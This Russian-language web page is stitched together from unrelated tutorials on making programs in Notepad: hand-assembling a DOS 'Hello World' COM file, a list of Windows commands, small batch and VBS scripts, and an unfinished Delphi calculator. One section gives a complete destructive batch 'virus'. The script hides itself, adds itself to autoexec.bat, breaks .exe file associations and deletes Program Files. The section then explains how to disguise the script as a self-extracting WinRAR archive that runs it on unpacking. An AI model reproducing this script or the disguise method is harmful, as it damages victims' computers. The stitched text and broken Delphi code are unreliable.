Программы в блокноте команды. Как написать программу в блокноте

Не секрет что каждый из нас хоть раз открывал com или exe файлы блокнотом, видел письмена подобные этим:

В целях приподнятия завесы тайны странного наречия и написана эта статья.

Сразу стоит отметить, что символы, приведенные выше, по большей части, не несут смысловой нагрузки в своем начертании. Они являются визуальной формой числового представления. В свою очередь, числовое представление является операционным кодом машинного языка, и хранителем сакрального смысла этих тайных знаков.

Практика
Перейдем к более детальному изучению. Для этого нам понадобится книга написанная в недрах корпорации intel (intel 80386 Programmer"s Reference Manual). Где детально рассказывается о формате инструкций процессора.
Обычно первой программой на любом языке программирования является вывод сообщения «Hello World!». Чтож… Не будем отступать от классики и приступим.

На первом этапе, нам придется опустится как можно ближе к опкодам и написать программу на языке Ассемблера

Язык ассемблера, или просто ассемблер - низкоуровневый язык программирования, использующий мнемоники, инструкции и операнды для представления машинного кода
Википедия

Org 100h mov ah,9h mov dx,message int 21h int 20h message db "Hello World$"

Теперь, имея на руках готовую программу, можно перейти к этапу трансляции.

Трансляция
org 100h
Это просто смещение и код для него не генерируется. Будем использовать 100h для будущего расчета адресов.

Mov ah,9h - заносим в регистр ah число 9h.
Переведем в машинные коды. Открываем второй том интеловской книги на странице с инструкцией mov. И видим…

Opcode Instruction Clocks Description
88 /r MOV r/m8,r8 2/2 Move byte register to r/m byte
89 /r MOV r/m16,r16 2/2 Move word register to r/m word
89 /r MOV r/m32,r32 2/2 Move dword register to r/m dword
8A /r MOV r8,r/m8 2/4 Move r/m byte to byte register
8B /r MOV r16,r/m16 2/4 Move r/m word to word register
8B /r MOV r32,r/m32 2/4 Move r/m dword to dword register
8C /r MOV r/m16,Sreg 2/2 Move segment register to r/m word
8D /r MOV Sreg,r/m16 2/5,pm=18/19 Move r/m word to segment register
A0 MOV AL,moffs8 4 Move byte at (seg:offset) to AL
A1 MOV AX,moffs16 4 Move word at (seg:offset) to AX
A1 MOV EAX,moffs32 4 Move dword at (seg:offset) to EAX
A2 MOV moffs8,AL 2 Move AL to (seg:offset)
A3 MOV moffs16,AX 2 Move AX to (seg:offset)
A3 MOV moffs32,EAX 2 Move EAX to (seg:offset)
B0 + rb MOV reg8,imm8 2 Move immediate byte to register
B8 + rw MOV reg16,imm16 2 Move immediate word to register
B8 + rd MOV reg32,imm32 2 Move immediate dword to register
C6 MOV r/m8,imm8 2/2 Move immediate byte to r/m byte
C7 MOV r/m16,imm16 2/2 Move immediate word to r/m word
C7 MOV r/m32,imm32 2/2 Move immediate dword to r/m dword

Как же выбрать из всего этого множества необходимую команду? Регистр ah является байтным регистром. Плюс нам необходимо занести в регистр число 9. Поэтому выбираем опкод для MOV reg8, imm8, это B0+rb, где rb номер регистра, который можно взять из следующей таблицы.

rb rb rd
0 AL AX EAX
1 CL CX ECX
2 DL DX EDX
3 BL BX EBX
4 AH SP ESP
5 CH BP EBP
6 DH SI ESI
7 BH DI EDI

Номер регистра ah равен 4. Отсюда B0+4=B4. Число, которое будет занесено в регистр, пишется следом за опкодом инструкции. Таким образом, mov ah, 9h превращается в B4, 9 (запятая поставлена лишь для визуального отделения чисел).

Следующая инструкция mov dx, message . В регистр dx заносим адрес строки message. Пока рассчитать его мы не можем, поэтому поставим временную заглушку. Пользуясь двумя приведенными выше таблицами, получаем опкод для mov dx - BA,100, где 100 является временной мерой.
Теперь транслируем int 21h и int 20h , из приведенной ниже таблицы можно получить нужные опкоды - это CD,21 и CD,20.

Opcode Instruction Clocks Description
CD ib INT imm8 37 Interrupt numbered by immediatebyte
CD ib INT imm8 pm=59 Interrupt--Protected Mode, same privilege
CD ib INT imm8 pm=99 Interrupt--Protected Mode, moreprivilege
CD ib INT imm8 pm=119 Interrupt--from V86 mode to PL 0
CD ib INT imm8 ts Interrupt--Protected Mode, via task

Запишем полученную программу: B4, 09, BA, 100, CD, 21, CD, 20 .
Вернемся к нашей заглушке потому, как нам все еще необходимо рассчитать адрес нашей строки для вывода. Теперь это сделать достаточно просто. Посчитаем все пары цифр по порядку. Их девять (число 100h не входит в один байт. Поэтому требуется два). Таким образом, адрес строки будет равен 100h+9h=109h. Заменяем 100h на 109h. Число 109h, по понятным причинам, не может быть помещено в один байт, поэтому понадобиться двухбайтовое значение 09,01 таким образом, получаем следующую программу: B4, 09, BA, 09, 01, CD, 21, CD, 20.

Кодинг
Для простоты кодирования приведем числа к десятичной системе счисления (для оправдания заголовка, на калькуляторе)
180, 9, 186, 9, 1, 205, 33, 205, 32 .
Вооружаемся блокнотом и вставляем нужные ASCII символы.
Не забываем ввести в конце Hello World!$ .

Все что осталось это сохранить наш файл с расширением com и запустить.

Метки: Блокнот, Assembler, операционные коды

Недавно решил немного расширить свой кругозор в области безопасности и немного порылся в сети на тему простых вирусов в кустарных условиях. Оказывается вирусы можно создавать даже в простом блокноте. Информацию об этом я представляю только в ознакомительных целях. Помните писать вирусы - плохо. Вам же наверное не приятно когда ваш любимый компьютер заражают, вот и вы не поступайте так с другими.

Писать будем bat файл в обычном виндовом блокноте. Создаем файл и пишем.

@Echo off (запрещаем вывод на экран исполняемых команд)
Echo Virus Loading (Выводит на экран надпись «Virus Loading» В место нее можете писать что угодно)
Date 13.09.96 (эта строка изменяет дату)
If exist c:ski.bat goto abc (проверяет существует ли файл, …..)
Copy %0 c:ski.bat (копирует вирус только изменив названия)
Attrib +h c:ski.bat (делает файлу ski.bat атрибут скрытый
Echo c:ski.bat >>autoexec.bat (Прописывает файл ski.bat в автозагрузку
:abc (……если он существует, то программа перейдет на метку:abc)
md PRIDUROK
md LUZER
md DURAK (Создает пустые папки)
md LAMER
Label E: PRIDUROK (CD-ROM будет называться PRIDUROK)
assoc .exe=.mp3 (запускает все ексшники как музыка
del c:Program Files/q (удаляет все файлы из этой папки)
Echo VIRUS LOAD (Выводит надпись)

Итак мы написали простой вирус. Теперь нажимаем ФАЙЛ>>СОХРАНИТЬ КАК, и в поле имя файла пишем, например virus.bat
.bat обязательна везде. Появился значок MS-DOS. Так что бы жертва не смогла увидеть его код будем использовать WIinRar. Берем наш вирусочек и кидаем его в архив вылетит окно и ты просто ставишь галочку «создать SFX-архив. Далее заходим в дополнительное и открываем параметры SFX там есть строка выполнить после распаковки и ты пишешь РЕАЛЬНОЕ имя твоего вируса. Видишь простой блокнот вступил как вирусосаздатель, а WinRar сделал якобы программу….выводы делать тебе. И смотри непопадись сам на это. Не принимай файлы в инете от незнакомых людей и смотри на размер файла.

Reg - непосредственная работа с реестром. Смотреть reg /? всем!
rcp - обмен файлами через rcp в ascii
runas - от имени пользователя
tasklist - отображает приложения и сеансы, связанные с ним.
taskkill - позволяет завершить один или несколько процессов
tftp - trivial ftp
tskill - убить процесс
reg - утилита взаимодействия с реестром
bootcfg - настройка boot.ini
append - позволяет открывать удаленные файлы так, словно они находятся в текущем.
getmac - получить мас
logoff - Заверщить пользовательский сеанс.
mem - вывод на экран сведений о текущих процессах в ОЗУ
mqbkup - архивирование
netsh - ??
openfiles - просмотреть открытые файлы.
rsh - выполнение команд на удаленных узлах с запущеной rsh
sc - command line ??
rexec - выполнение команд на удаленных узлах с запущеной rexec
shutdown - выключить (хе-хе) local or remote computer.
systeminfo - вывод инфы о компе.
schtasks - планировщик заданий.
xcopy - копирование файлов и каталогов.
tsshutdn - завершение работы сервера в установленом порядке.
set - вывод, задание и удаление переменных среды cmd.exe. Свойства системы (пр.кн."мой комп") - дополнительно - Переменные среды. Там не все переменные, но много! Все смотреть просто set.
Кстати, вот некоторые RunDLL команды, которые могут использоваться при создании батников

Блокнот - это простой текстовый редактор. С его помощью просматривают документы в формате.txt. Запустить Блокнот можно, нажав "Пуск". Выбрать "Программы" и "Стандартные". В нем можно печатать текст, создавать web-страницы и даже небольшие вирусы. А кто-нибудь задумывался о том, что в простом можно создать неплохую программку?

Вам понадобится

  • Персональный компьютер, установленный блокнот

Инструкция

Чтобы создать программу, надо запустить Блокнот. Далее вводите необходимые данные, пишите нужный текст. Он будет зависеть от того, что вы хотите создать. Если этот документ станет страничкой сайта, заполняете все в html-редакторе.

Введите, например, mspaint. Сохраните документ под любым именем. Нажимайте "Файл" и "Сохранить как…" Только надо выбрать правильно формат. В "Имя файла" пишите название, а вместо.txt вставляйте нужный вам формат (html, для нашего случая.bat.) Откройте созданный файл. В нем теперь может писать все, что угодно. Вместо "mspaint" Taskmgr-диспетчер задач и прочее, то есть, все зависит от того, какую программу хотите создать.

В Блокноте простой текст может стать программой, если правильно выбрать ему формат. Откройте блокнот и напишите следующий код программы:

a = inputbox (“Введите время для таймера”)

c=inputbox (“Введите сообщение для таймера”)

msgbox “Работает таймер”

Сохраните документ в формате.vbs. Все, можете запускать свою программку.

Написав текст для программы, самое главное сохранить в правильном формате, или расширении. Откройте Блокнот. Введите следующий текст программы:

title calculator

set/p expr="Enter expression:"

set/a answer=%expr%

echo Answer: %answer%

Данный файл сохраните в расширении.bat или же.cmd. В командной строке можно ввести слово « help». Там вы увидите доступные команды. Чтобы узнать синтаксис, введите в строке “help/?”. Если недоступно какое-то расширение, откройте командную строку и применяйте такую команду, как . Для сохранения в консоли текста надо нажать такую комбинацию: “Enter и Ctr+Z”. Так что блокнот тоже может создавать программы, пусть не такие огромные и сложные. Обычно в Блокноте сохраняют программы, имеющие расширение *.bat * .cmd , * .vbs.

Программа-калькулятор является одним из типовых заданий по программированию. Такое приложение можно реализовать практически на любом языке программирования. Одним из наиболее популярных ЯП является Delphi, на котором можно написать простой и эффективный код калькулятора.


Вам понадобится

  • - среда программирования Delphi

Инструкция

Запустите используемую вами среду программирования Delphi. Распланируйте интерфейс вашего приложения. На форме будет 26 кнопок, 10 из которых отвечают за цифры, а остальные - за функции. Дополнительно будет присутствовать компонент TPanel, на котором будет выводиться результат действия.

Добавьте в код 4 переменных, которые будут сохранять числа, введенные пользователем и определять режим. Например:

var
a, b, c: real- //числа, которые вводит пользователь
d: integer- //действие калькулятора

Созданные переменные можете внести как и в protected, так и в private. Теперь к каждой цифровой кнопке обработайте событие onclick. Для всех цифр код будет идентичен:

procedure TForm1.Button1Click(Sender: TObject);
begin
Panel1.Caption:=Panel1.Caption+`число`
end;

Замените «число» на название кнопки (если это цифра 0, то Panel1.Caption+`0`).

Переменная d имеет формат integer и будет содержать соответствующее числовое значение какого-либо действия. Если будет осуществляться умножение, то можно задать действию значение 1, если деление - значение 2, если сложение - значение 3, и т. д. Для действия умножения код будет иметь вид:

procedure TForm1.ButtonMultiplyClick(Sender: TObject)- //действие умножения
begin
a:=StrToFloat(Panel1.Caption)- //после нажатия кнопки сохраняется значение переменной a
d:=1- //переменной действия задается соответствующее значение
Panel1.Caption:=``;
end-

Сделайте аналогичные операции для деления (ButtonDivClick), сложения (ButtonPlusClick), вычитания (ButtonMinusClick) и возведения в степени (ButtonPowerClick).

Для обработки значения ``=`` необходимо сделать условие case и поочередно рассматривать каждое действие:

procedure TForm1.Buttonclick(Sender: TObject);
begin
case d of
1: begin //если d = 1, т. е. нажимается кнопка умножения, то происходит соответствующее действие
b:=StrToFloat(Panel1.Caption);
c:=a*b;

end;
2: begin
a:=StrToFloat(Panel1.Caption);
c:=a/b;
Panel1.Caption:=FloatToStr(c);

Аналогичным образом обработайте действия сложения, вычитания и возведения в степень. Калькулятор готов.